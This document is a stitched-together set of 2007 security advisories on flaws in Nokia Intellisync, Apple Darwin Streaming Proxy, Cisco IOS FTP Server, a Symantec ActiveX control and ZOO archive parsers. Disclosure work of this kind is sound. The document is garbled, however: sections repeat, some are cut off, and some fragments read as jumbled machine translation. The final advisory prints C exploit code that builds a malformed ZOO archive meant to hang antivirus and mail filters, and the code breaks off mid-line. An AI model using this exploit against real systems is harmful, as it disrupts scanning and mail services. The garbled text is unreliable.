bundled Apache Tomcat server can be exploited to disclose directory listings and script source codes. The vulnerabilities are reported in versions 6.4.31.2, 6.6.0.107, and 6.6.2.2 and is reported to partially affect Nokia Intellisync Wireless Email Express. Other versions may also be affected. SOLUTION: Upgrade to GMS 2. PROVIDED AND/OR DISCOVERED BY: Johannes Greil, SEC Consult ORIGINAL ADVISORY: http://www.sec-consult.com/289.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

usrmgr/userList.asp in Nokia Intellisync Mobile Suite 6.4.31.2, 6.6.0.107, and 6.6.2.2, possibly involving Novell Groupwise Mobile Server and Nokia Intellisync Wireless Email Express, allows remote attackers to modify user account details and cause a denial of service (account deactivation) via the userid parameter in an update action. Intellisync Mobile Suite is prone to a denial-of-service vulnerability. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Nokia Intellisync Mobile Suite Multiple Vulnerabilities SECUNIA ADVISORY ID: SA25212 VERIFY ADVISORY: http://secunia.com/advisories/25212/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting, Exposure of system information, Exposure of sensitive information, DoS WHERE: >From remote SOFTWARE: Intellisync Mobile Suite http://secunia.com/product/3450/ DESCRIPTION: Johannes Greil has reported some vulnerabilities in Nokia's Intellisync Mobile Suite, which can be exploited by malicious people to gain knowledge of sensitive information, conduct cross-site scripting attacks, manipulate certain data, or cause a DoS (Denial of Service). 1) Missing authentication checks within certain ASP scripts (e.g. userList.asp, userStatusList.asp) can be exploited to modify or gain knowledge of certain user details, or to disable user accounts. 2) Certain input passed to de/pda/dev_logon.asp, usrmgr/registerAccount.asp, and de/create_account.asp is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. 3) An error within the bundled Apache Tomcat server can be exploited to disclose directory listings and script source codes. The vulnerabilities are reported in versions 6.4.31.2, 6.6.0.107, and 6.6.2.2 and is reported to partially affect Nokia Intellisync Wireless Email Express. Other versions may also be affected. SOLUTION: Upgrade to GMS 2. PROVIDED AND/OR DISCOVERED BY: Johannes Greil, SEC Consult ORIGINAL ADVISORY: http://www.sec-consult.com/289.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Multiple stack-based buffer overflows in the is_command function in proxy.c in Apple Darwin Streaming Proxy, when using Darwin Streaming Server before 5.5.5, allow remote attackers to execute arbitrary code via a long (1) cmd or (2) server value in an RTSP request. An attacker can exploit these issues to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial of service. These issues affect versions prior to 5.5.5. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. SOLUTION: Update to version 5.5.5. http://developer.apple.com/opensource/server/streaming/index.html PROVIDED AND/OR DISCOVERED BY: An anonymous person, reported via iDefense Labs. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305495 iDefense Labs: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=533 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Apple Darwin Streaming Proxy Multiple Vulnerabilities iDefense Security Advisory 05.10.07 http://labs.idefense.com/intelligence/vulnerabilities/ May 10, 2007 I. BACKGROUND Darwin Streaming Server is a server technology that facilitates streaming of QuickTime data to clients across the Internet using the industry standard RTP and RTSP protocols. The Darwin Streaming Proxy is an application-specific proxy which would normally be run in a border zone or perimeter network. It is used to give client machines, within a protected network, access to streaming servers where the firewall blocks RTSP connections or RTP/UDP data flow. For more information, please visit the product website at via following URL. http://developer.apple.com/opensource/server/streaming/index.html II. Due to insufficient sanity checking, a stack-based buffer overflow could occur while trying to extract commands from the request buffer. The "is_command" function, located in proxy.c, lacks bounds checking when filling the 'cmd' and 'server' buffers. Additionally, a heap-based buffer overflow could occur while processing the "trackID" values contained within a "SETUP" request. If a request with more than 32 values is encountered, memory corruption will occur. III. No credentials are required for accessing the vulnerable code. The stack-based buffer overflow vulnerability relies on compiler optimizations. iDefense has verified the Darwin Streaming Proxy 4.1 binary release for Fedora Core is not vulnerable. The binary produced from a out-of-the-box compile on Fedora was confirmed vulnerable. IV. DETECTION iDefense has confirmed the existence of these vulnerabilities in Darwin Streaming Server 5.5.4 and Darwin Streaming Proxy 4.1. V. WORKAROUND Employ firewalls, access control lists or other TCP/UDP restriction mechanisms to limit access to vulnerable systems and services. VI. VENDOR RESPONSE Apple has addressed this vulnerability by releasing version 5.5.5 of Darwin Streaming Server. More information can be found from Apple's Security Update page or the Darwin Streaming Server advisory page at the respective URLs below. http://docs.info.apple.com/article.html?artnum=61798 http://docs.info.apple.com/article.html?artnum=305495 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2007-0748 to the heap-based buffer overflow and CVE-2007-0749 to stack-based buffer overflow. These names are a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 04/09/2007 Initial vendor notification 04/09/2007 Initial vendor response 05/10/2007 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright \xa9 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Heap-based buffer overflow in Apple Darwin Streaming Proxy, when using Darwin Streaming Server before 5.5.5, allows remote attackers to execute arbitrary code via multiple trackID values in a SETUP RTSP request. An attacker can exploit these issues to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial of service. These issues affect versions prior to 5.5.5. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. SOLUTION: Update to version 5.5.5. http://developer.apple.com/opensource/server/streaming/index.html PROVIDED AND/OR DISCOVERED BY: An anonymous person, reported via iDefense Labs. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305495 iDefense Labs: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=533 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . BACKGROUND Darwin Streaming Server is a server technology that facilitates streaming of QuickTime data to clients across the Internet using the industry standard RTP and RTSP protocols. The Darwin Streaming Proxy is an application-specific proxy which would normally be run in a border zone or perimeter network. It is used to give client machines, within a protected network, access to streaming servers where the firewall blocks RTSP connections or RTP/UDP data flow. For more information, please visit the product website at via following URL. http://developer.apple.com/opensource/server/streaming/index.html II. Due to insufficient sanity checking, a stack-based buffer overflow could occur while trying to extract commands from the request buffer. The "is_command" function, located in proxy.c, lacks bounds checking when filling the 'cmd' and 'server' buffers. Additionally, a heap-based buffer overflow could occur while processing the "trackID" values contained within a "SETUP" request. If a request with more than 32 values is encountered, memory corruption will occur. III. No credentials are required for accessing the vulnerable code. The stack-based buffer overflow vulnerability relies on compiler optimizations. iDefense has verified the Darwin Streaming Proxy 4.1 binary release for Fedora Core is not vulnerable. The binary produced from a out-of-the-box compile on Fedora was confirmed vulnerable. IV. V. WORKAROUND Employ firewalls, access control lists or other TCP/UDP restriction mechanisms to limit access to vulnerable systems and services. VI. More information can be found from Apple's Security Update page or the Darwin Streaming Server advisory page at the respective URLs below. http://docs.info.apple.com/article.html?artnum=61798 http://docs.info.apple.com/article.html?artnum=305495 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2007-0748 to the heap-based buffer overflow and CVE-2007-0749 to stack-based buffer overflow. These names are a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 04/09/2007 Initial vendor notification 04/09/2007 Initial vendor response 05/10/2007 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright \xa9 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

The FTP Server in Cisco IOS 11.3 through 12.4 does not properly check user authorization, which allows remote attackers to execute arbitrary code, and have other impact including reading startup-config, as demonstrated by a crafted MKD command that involves access to a VTY device and overflows a buffer, aka bug ID CSCek55259. Cisco IOS FTP Server is prone to multiple vulnerabilities including a denial-of-service issue and an authentication-bypass issue. Attackers can exploit these issues to deny service to legitimate users, gain unauthorized access to an affected device, or execute arbitrary code. Only IOS devices that have the FTP Server feature enabled are vulnerable; this feature is disabled by default. Cisco IOS is the operating system used by Cisco networking equipment. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Cisco IOS FTP Server Multiple Vulnerabilities SECUNIA ADVISORY ID: SA25199 VERIFY ADVISORY: http://secunia.com/advisories/25199/ CRITICAL: Moderately critical IMPACT: Security Bypass, DoS, System access WHERE: >From remote OPERATING SYSTEM: Cisco IOS 12.x http://secunia.com/product/182/ Cisco IOS 11.x http://secunia.com/product/183/ DESCRIPTION: Some vulnerabilities have been reported in Cisco IOS, which can be exploited by malicious users and malicious people to bypass certain security restrictions, cause a DoS (Denial of Service), or potentially compromise a vulnerable system. 2) An unspecified error exists when transferring files via FTP, which can be exploited to cause a DoS (Denial of Service). Successful exploitation may allow an attacker to retrieve any file from an affected system (including startup-config), cause IOS to reload, and potentially execute arbitrary code, but requires that the FTP server is enabled, which is not the default setting. SOLUTION: The vendor has issued an update that removes the FTP server ability. As a workaround, it is possible to disable the FTP server by executing the following command in configuration mode: "no ftp-server enable". See vendor advisories for more details. PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/en/US/products/products_applied_intelligence_response09186a00808399ea.html http://www.cisco.com/en/US/products/products_security_advisory09186a00808399d0.shtml ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Multiple cross-site scripting (XSS) vulnerabilities in Nokia Intellisync Mobile Suite 6.4.31.2, 6.6.0.107, and 6.6.2.2, possibly involving Novell Groupwise Mobile Server and Nokia Intellisync Wireless Email Express, allow remote attackers to inject arbitrary web script or HTML via the (1) username parameter to de/pda/dev_logon.asp and (2) multiple unspecified vectors in (a) usrmgr/registerAccount.asp, (b) de/create_account.asp, and other files. (1) de/pda/dev_logon.asp To username Parameters (2) usrmgr/registerAccount.asp , de/create_account.asp Etc. Routes in unspecified files . Reports indicate that these issues reside only in the bundled package; Nokia Intellisync Mobile Suite may not be affected on its own. Successful attacks may allow an attacker to obtain sensitive information and carry out denial-of-service and cross-site scripting attacks. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Nokia Intellisync Mobile Suite Multiple Vulnerabilities SECUNIA ADVISORY ID: SA25212 VERIFY ADVISORY: http://secunia.com/advisories/25212/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting, Exposure of system information, Exposure of sensitive information, DoS WHERE: >From remote SOFTWARE: Intellisync Mobile Suite http://secunia.com/product/3450/ DESCRIPTION: Johannes Greil has reported some vulnerabilities in Nokia's Intellisync Mobile Suite, which can be exploited by malicious people to gain knowledge of sensitive information, conduct cross-site scripting attacks, manipulate certain data, or cause a DoS (Denial of Service). 1) Missing authentication checks within certain ASP scripts (e.g. userList.asp, userStatusList.asp) can be exploited to modify or gain knowledge of certain user details, or to disable user accounts. 2) Certain input passed to de/pda/dev_logon.asp, usrmgr/registerAccount.asp, and de/create_account.asp is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. 3) An error within the bundled Apache Tomcat server can be exploited to disclose directory listings and script source codes. The vulnerabilities are reported in versions 6.4.31.2, 6.6.0.107, and 6.6.2.2 and is reported to partially affect Nokia Intellisync Wireless Email Express. Other versions may also be affected. SOLUTION: Upgrade to GMS 2. PROVIDED AND/OR DISCOVERED BY: Johannes Greil, SEC Consult ORIGINAL ADVISORY: http://www.sec-consult.com/289.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

The Symantec NAVOPTS.DLL ActiveX control (aka Symantec.Norton.AntiVirus.NAVOptions) 12.2.0.13, as used in Norton AntiVirus, Internet Security, and System Works 2005 and 2006, is designed for use only in application-embedded web browsers, which allows remote attackers to "crash the control" via unspecified vectors related to content on a web site, and place Internet Explorer into a "defunct state" in which remote attackers can execute arbitrary code in addition to other Symantec ActiveX controls, regardless of whether they are marked safe for scripting. NOTE: this CVE was inadvertently used for an E-mail Auto-Protect issue, but that issue has been assigned CVE-2007-3771. (2) Internet Explorer The "defunc state" Regardless of the setting for whether scripting is safe or not. Symantec ActiveX An arbitrary code execution vulnerability exists with the control. This vulnerability E-mail Auto-Protect However, the problem is CVE-2007-3771 Has been assigned.A third party may be affected by: (1) " Crash control " There is a possibility that. (2) other Symantec ActiveX Arbitrary code, including controls, could be executed. An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document. Successful exploits will allow attackers to execute arbitrary code in the context of the user visiting a malicious web page. Failed exploit attempts will likely result in denial-of-service conditions. Symantec Norton Internet Security 2006 COM Object Security ByPass Vulnerability iDefense Security Advisory 05.09.07 http://labs.idefense.com/intelligence/vulnerabilities/ May 09, 2007 I. BACKGROUND Norton Internet Security 2006 is a comprehensive system security suite that offers protection from spyware, viruses, identity theft, spam, and malicious network traffic. More information can be found on the vendors site at the following URL. http://www.symantec.com/home_homeoffice/products/overview.jsp?pcid=is&pvid=nis2006 II. When this control is loaded in a standard browser window, it throws an error during initialization which leaves the browser in a defunct state. After the error dialog displays, other Symantec ActiveX Controls can be created without error even if they are not marked as safe for scripting. This can lead to remote code execution if the unsafe controls contain exploitable methods. III. IV. DETECTION iDefense confirmed the existence of this vulnerability within version 12.2.0.13 of NavOpts.dll as distributed with Norton Internet Security 2006. Prior versions are suspected to be vulnerable. V. Although this will prevent potential exploitation, it may also negatively impact the functionality of the application. VI. VENDOR RESPONSE Symantec has addressed this vulnerability with a software update. The update is available via their LiveUpdate channels. For more information, consult their advisory at the following URL. http://www.symantec.com/avcenter/security/Content/2007.05.09.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2006-3456 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/13/2006 Initial vendor notification 12/13/2006 Initial vendor response 05/09/2007 Coordinated public disclosure IX. CREDIT This vulnerability was reported to iDefense by Peter Vreugdenhil. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright \xa9 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. This can be exploited to e.g. Set the kill-bit for the affected ActiveX control. PROVIDED AND/OR DISCOVERED BY: Discovered by Peter Vreugdenhil and reported via iDefense Labs. ORIGINAL ADVISORY: Symantec: http://www.symantec.com/avcenter/security/Content/2007.05.09.html iDefense Labs: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=529 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

The IOS FTP Server in Cisco IOS 11.3 through 12.4 allows remote authenticated users to cause a denial of service (IOS reload) via unspecified vectors involving transferring files (aka bug ID CSCse29244). Cisco IOS FTP Server is prone to multiple vulnerabilities including a denial-of-service issue and an authentication-bypass issue. Attackers can exploit these issues to deny service to legitimate users, gain unauthorized access to an affected device, or execute arbitrary code. Only IOS devices that have the FTP Server feature enabled are vulnerable; this feature is disabled by default. Cisco IOS is the operating system used by Cisco networking equipment. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. 1) An unspecified error exists in the IOS FTP server when verifying user credentials, which can be exploited to bypass user authentication. Successful exploitation may allow an attacker to retrieve any file from an affected system (including startup-config), cause IOS to reload, and potentially execute arbitrary code, but requires that the FTP server is enabled, which is not the default setting. SOLUTION: The vendor has issued an update that removes the FTP server ability. As a workaround, it is possible to disable the FTP server by executing the following command in configuration mode: "no ftp-server enable". See vendor advisories for more details. PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/en/US/products/products_applied_intelligence_response09186a00808399ea.html http://www.cisco.com/en/US/products/products_security_advisory09186a00808399d0.shtml ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

unzoo.c, as used in multiple products including AMaViS 2.4.1 and earlier, allows remote attackers to cause a denial of service (infinite loop) via a ZOO archive with a direntry structure that points to a previous file. The Zoo compression algorithm is prone to a remote denial-of-service vulnerability. This issue arises when applications implementing the Zoo algorithm process certain malformed archives. A successful attack can exhaust system resources and trigger a denial-of-service condition. This issue affects Zoo 2.10 and other applications implementing the vulnerable algorithm. Topic: Multiple vendors ZOO file decompression infinite loop DoS Announced: 2007-05-04 Credits: Jean-Sebastien Guay-Leroux Products: Multiple (see section III) Impact: DoS (99% CPU utilisation) CVE ID: CVE-2007-1669, CVE-2007-1670, CVE-2007-1671, CVE-2007-1672, CVE-2007-1673 I. BACKGROUND Zoo is a compression program and format developed by Rahul Dhesi in the mid 1980s. The format is based on the LZW compression algorithm and compressed files are identified by the .zoo file extension. II. The vulnerability lies in the algorithm used to locate the files inside the archive. Each file in a ZOO archive is identified by a direntry structure. Those structures are linked between themselves with a 'next' pointer. This pointer is in fact an offset from the beginning of the file, representing the next direntry structure. By specifying an already processed file, it's possible to process more than one time this same file. The ZOO parser will then enter an infinite loop condition. III. AFFECTED SOFTWARES o Barracuda Spam Firewall o Panda Software Antivirus o avast! antivirus o Avira AntiVir o zoo-2.10 o unzoo.c o WinAce o PicoZip IV. IMPACT If this attack is conducted against a vulnerable antivirus, the host system will have its CPU at 100% utilization and may have problems answering other requests. If this attack is conducted against an SMTP content filter running a vulnerable ZOO implementation, legitimate clients may be unable to send and receive email through this server. V. SOLUTION o Barracuda Spam Firewall - CVE-2007-1669: They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and 2.0.6399o for firmware < 3.4 March 19th 2007. o Panda Software Antivirus - CVE-2007-1670: They fixed this problem April 2nd 2007. o avast! antivirus - CVE-2007-1672: They fixed this problem in version 4.7.981, April 14th 2007. o Avira AntiVir - CVE-2007-1671: They fixed this problem in avpack32.dll version 7.3.0.6 March 22th 2007. o zoo-2.10 - CVE-2007-1669: This software is not maintained anymore. A patch for version 2.10 is provided in section VII of this advisory because some SMTP content filters may still use this software. o unzoo.c - CVE-2007-1673: This software is not maintained anymore. No patch is provided for this software. o WinAce was contacted but no response was received from them. o PicoZip was contacted but no response was received from them. VI. PROOF OF CONCEPT Using the PIRANA framework version 0.3.3, available at http://www.guay-leroux.com , it is possible to test your SMTP server against this vulnerability. Alternatively, here is an exploit that will create a file that will trigger the infinite loop condition when it is processed. /* Exploit for the vulnerability: Multiple vendors ZOO file decompression infinite loop DoS coded by Jean-S\xe9bastien Guay-Leroux September 2006 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Structure of a ZOO header #define ZOO_HEADER_SIZE 0x0000002a #define ZH_TEXT 0 #define ZH_TAG 20 #define ZH_START_OFFSET 24 #define ZH_NEG_START_OFFSET 28 #define ZH_MAJ_VER 32 #define ZH_MIN_VER 33 #define ZH_ARC_HTYPE 34 #define ZH_ARC_COMMENT 35 #define ZH_ARC_COMMENT_LENGTH 39 #define ZH_VERSION_DATA 41 #define D_DIRENTRY_LENGTH 56 #define D_TAG 0 #define D_TYPE 4 #define D_PACKING_METHOD 5 #define D_NEXT_ENTRY 6 #define D_OFFSET 10 #define D_DATE 14 #define D_TIME 16 #define D_FILE_CRC 18 #define D_ORIGINAL_SIZE 20 #define D_SIZE_NOW 24 #define D_MAJ_VER 28 #define D_MIN_VER 29 #define D_DELETED 30 #define D_FILE_STRUCT 31 #define D_COMMENT_OFFSET 32 #define D_COMMENT_SIZE 36 #define D_FILENAME 38 #define D_VAR_DIR_LEN 51 #define D_TIMEZONE 53 #define D_DIR_CRC 54 #define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 ) #define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 ) #define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 ) void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_word (char *ptr, unsigned short data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } FILE * open_file (char *filename) { FILE *fp; fp = fopen ( filename , "w" ); if (!fp) { perror ("Cant open file"); exit (1); } return fp; } void usage (char *progname) { printf ("\nTo use:\n"); printf ("%s <archive name>\n\n", progname); exit (1); } int main (int argc, char *argv[]) { FILE *fp; char *hdr = (char *) malloc (4096); char *filename = (char *) malloc (256); int written_bytes; int total_size; if ( argc != 2) { usage ( argv[0] ); } strncpy (filename, argv[1], 255); if (!hdr || !filename) { perror ("Error allocating memory"); exit (1); } memset (hdr, 0x00, 4096); // Build a ZOO header memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18); put_longword (hdr + ZH_TAG, 0xfdc4a7dc); put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE); put_longword (hdr + ZH_NEG_START_OFFSET, (ZOO_HEADER_SIZE) * -1); put_byte (hdr + ZH_MAJ_VER, 2); put_byte (hdr + ZH_MIN_VER, 0); put_byte (hdr + ZH_ARC_HTYPE, 1); put_longword (hdr + ZH_ARC_COMMENT, 0); put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0); put_byte (hdr + ZH_VERSION_DATA, 3); // Build vulnerable direntry struct put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc); put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 1); put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a); put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71); put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394); put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650); put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1); put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0); put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0); memcpy (hdr + 